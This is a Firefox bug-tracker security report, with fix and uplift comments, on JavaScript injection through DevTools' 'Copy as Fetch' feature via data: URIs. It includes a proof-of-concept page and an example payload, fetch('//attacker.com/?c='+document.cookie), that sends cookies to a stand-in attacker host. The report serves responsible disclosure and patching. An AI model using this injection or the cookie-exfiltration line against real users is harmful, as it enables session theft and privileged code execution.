JavaScript injection via DevTools "Copy as Fetch" / "Use as Fetch in Console" with data: URIs
Categories
(DevTools :: Netmonitor, defect, P2)
Tracking
(firefox-esr115 wontfix, firefox-esr140149+ fixed, firefox148 wontfix, firefox149+ fixed, firefox150+ fixed)
People
(Reporter: t.satoki111, Assigned: bomsy)
Details
(4 keywords, Whiteboard: [client-bounty-form][adv-main149+][adv-ESR140.9+])
Attachments
(1 file, 3 external files, 1 obsolete file)
|
3.56 KB,
text/html
|
Details |
Summary
The DevTools Network Monitor "Copy as Fetch" and "Use as Fetch in Console" features generate JavaScript code by interpolating the request URL directly into a string literal without any escaping. Since data: URIs are non-special URL schemes under the WHATWG URL Standard, double-quote characters (", U+0022) in their opaque path are NOT percent-encoded. An attacker-controlled data: URI can therefore break out of the string literal and inject arbitrary JavaScript that executes when the user pastes and runs the copied code.
Affected Component
- File:
devtools/client/netmonitor/src/widgets/RequestListContextMenu.js - Line: 749
const fetchString = `await fetch("${url}", ${options});`;
The url variable is interpolated with zero escaping. Compare with:
- "Copy as cURL" which uses
escapeStringPosix()/escapeStringWin()(indevtools/client/shared/curl.js) - "Copy as PowerShell" which uses
escapeStr()(indevtools/client/netmonitor/src/utils/powershell.js)
"Copy as Fetch" is the only copy function without any escaping.
Root Cause
-
No escaping on URL:
generateFetchString()interpolates the URL directly into a JavaScript double-quoted string literal ("${url}"). JavaScript-special characters such as",\, newlines are not escaped. -
data: URI percent-encoding: Under the WHATWG URL Standard,
data:is a non-special scheme. Its opaque path is encoded using only the C0 control percent-encode set (U+0000 to U+001F and U+007F and above). The double-quote character"(U+0022) is NOT in this set, so it is not percent-encoded.- Relevant source:
third_party/rust/url/src/parser.rs—parse_cannot_be_a_base_path() - Percent-encode set:
third_party/rust/url/src/percent_encoding.rs—CONTROLS
- Relevant source:
-
No scheme filtering: The "Copy as Fetch" menu item has no scheme-based filtering (
visible: !!clickedRequestonly), sodata:URI requests are eligible for the copy action.
Steps to Reproduce
Step 1: Visit attacker's page with DevTools open
Open the following HTML file (or host it on a server) and open DevTools (F12) → Network tab:
<!DOCTYPE html>
<html>
<head><title>PoC - Copy as Fetch Injection</title></head>
<body>
<h1>PoC: Copy as Fetch JS Injection</h1>
<p>Open DevTools (F12) → Network tab, then click the button.</p>
<button onclick="sendPayload()">Send payload</button>
<script>
function sendPayload() {
fetch('data:text/html,"+alert(document.domain)+"');
}
</script>
</body>
</html>
Step 2: Copy as Fetch
In the Network Monitor, right-click the data:text/html,... request → Copy → Copy as Fetch.
Step 3: Paste into any page's console
Navigate to any other page (e.g., https://example.com), open its Web Console, and paste the copied code.
Expected Result
The generated code should be a valid fetch() call that reproduces the original request:
await fetch("data:text/html,\"+alert(document.domain)+\"", {
"credentials": "omit",
"headers": {},
"body": null,
"method": "GET",
"mode": "cors"
});
(Double quotes in the URL should be escaped as \")
Actual Result
The generated code contains unescaped double quotes from the URL, breaking the string literal:
await fetch("data:text/html,"+alert(document.domain)+"", {
"credentials": "omit",
"headers": {},
"body": null,
"method": "GET",
"mode": "cors"
});
The JavaScript parser interprets this as:
"data:text/html,"— string literal+ alert(document.domain) +— arbitrary code execution!""— empty string literal, { ... }— second argument to fetch()
The expression is syntactically valid JavaScript. alert(document.domain) executes as a side effect.
Impact
- Cross-Site Scripting (XSS): Injected code executes in the context of whatever page the user pastes the code into
- Credential theft: Payloads such as
fetch('//attacker.com/?c='+document.cookie)can exfiltrate cookies and tokens - Privileged code execution: If the user pastes into the Browser Console, injected code runs with chrome (system) privileges
User interaction required
- Visit attacker's page with DevTools Network Monitor open
- Right-click the request → "Copy as Fetch"
- Paste into another page's console and execute
For "Use as Fetch in Console", the code is auto-filled into the console input — the user only needs to press Enter (though it executes in the same page's context).
Additional bug: referrerPolicy handled incorrectly
In the same function, referrerPolicy is set to the full header object instead of just its .value string:
// Line 727-729: returns {name: "Referrer-Policy", value: "no-referrer"} instead of "no-referrer"
const referrerPolicy = requestHeaders.headers.find(
({ name }) => name.toLowerCase() === "referrer-policy"
);
// Compare: referrer correctly extracts .value
const referrer = referrerHeader ? referrerHeader.value : undefined;
This causes the generated fetch code to have an object instead of a string for referrerPolicy, making the generated code functionally incorrect.
Suggested Fix
Escape the URL before interpolation into the JavaScript string literal:
// Option 1: Manual escaping
function escapeJSString(str) {
return str
.replace(/\\/g, '\\\\')
.replace(/"/g, '\\"')
.replace(/\n/g, '\\n')
.replace(/\r/g, '\\r');
}
const fetchString = `await fetch("${escapeJSString(url)}", ${options});`;
// Option 2: Use JSON.stringify (simplest and most robust)
const fetchString = `await fetch(${JSON.stringify(url)}, ${options});`;
Also fix the referrerPolicy extraction:
// Before:
const referrerPolicy = requestHeaders.headers.find(...);
// After:
const referrerPolicyHeader = requestHeaders.headers.find(
({ name }) => name.toLowerCase() === "referrer-policy"
);
const referrerPolicy = referrerPolicyHeader ? referrerPolicyHeader.value : undefined;
Affected Versions
This vulnerability exists in the current mozilla-central trunk and has likely been present since the "Copy as Fetch" feature was introduced.
Updated•7 months ago
|
| Assignee | ||
Comment 1•7 months ago
|
||
Updated•7 months ago
|
| Assignee | ||
Comment 2•7 months ago
|
||
Updated•7 months ago
|
Updated•7 months ago
|
Comment 3•7 months ago
|
||
Comment on attachment 9551768 [details]
(secure)
Revision D287082 was moved to bug 2022907. Setting attachment 9551768 [details] to obsolete.
Updated•7 months ago
|
Comment 5•7 months ago
|
||
Updated•7 months ago
|
Comment 6•7 months ago
|
||
The patch landed in nightly and beta is affected.
:bomsy, is this bug important enough to require an uplift?
- If yes, please nominate the patch for beta approval.
- See https://wiki.mozilla.org/Release_Management/Requesting_an_Uplift for documentation on how to request an uplift.
- If no, please set
status-firefox149towontfix.
For more information, please visit BugBot documentation.
Comment 7•7 months ago
|
||
firefox-beta Uplift Approval Request
- User impact if declined/Reason for urgency: This impact devtools users. Devtools can generated fetch commands which can compromise the Users computer, if run.
- Code covered by automated testing?: yes
- Fix verified in Nightly?: yes
- Needs manual QE testing?: no
- Steps to reproduce for manual QE testing:
- Risk associated with taking this patch: low
- Explanation of risk level: Small JavaScript fix.
- String changes made/needed?: None
- Is Android affected?: no
| Assignee | ||
Comment 8•7 months ago
|
||
Original Revision: https://phabricator.services.mozilla.com/D287067
Comment 9•7 months ago
|
||
firefox-esr140 Uplift Approval Request
- User impact if declined/Reason for urgency: This impact devtools users. Devtools can generated fetch commands which can compromise the Users computer, if run.
- Code covered by automated testing?: yes
- Fix verified in Nightly?: yes
- Needs manual QE testing?: no
- Steps to reproduce for manual QE testing:
- Risk associated with taking this patch: low
- Explanation of risk level: Small JavaScript fix.
- String changes made/needed?: None
- Is Android affected?: no
| Assignee | ||
Comment 10•7 months ago
|
||
Original Revision: https://phabricator.services.mozilla.com/D287067
| Assignee | ||
Updated•7 months ago
|
Updated•7 months ago
|
Updated•7 months ago
|
Updated•7 months ago
|
Comment 11•7 months ago
|
||
| uplift | ||
Updated•7 months ago
|
Updated•7 months ago
|
Updated•7 months ago
|
Comment 12•7 months ago
|
||
| uplift | ||
Updated•7 months ago
|
Updated•7 months ago
|
Updated•7 months ago
|
Updated•6 months ago
|
Updated•3 months ago
|
Description
•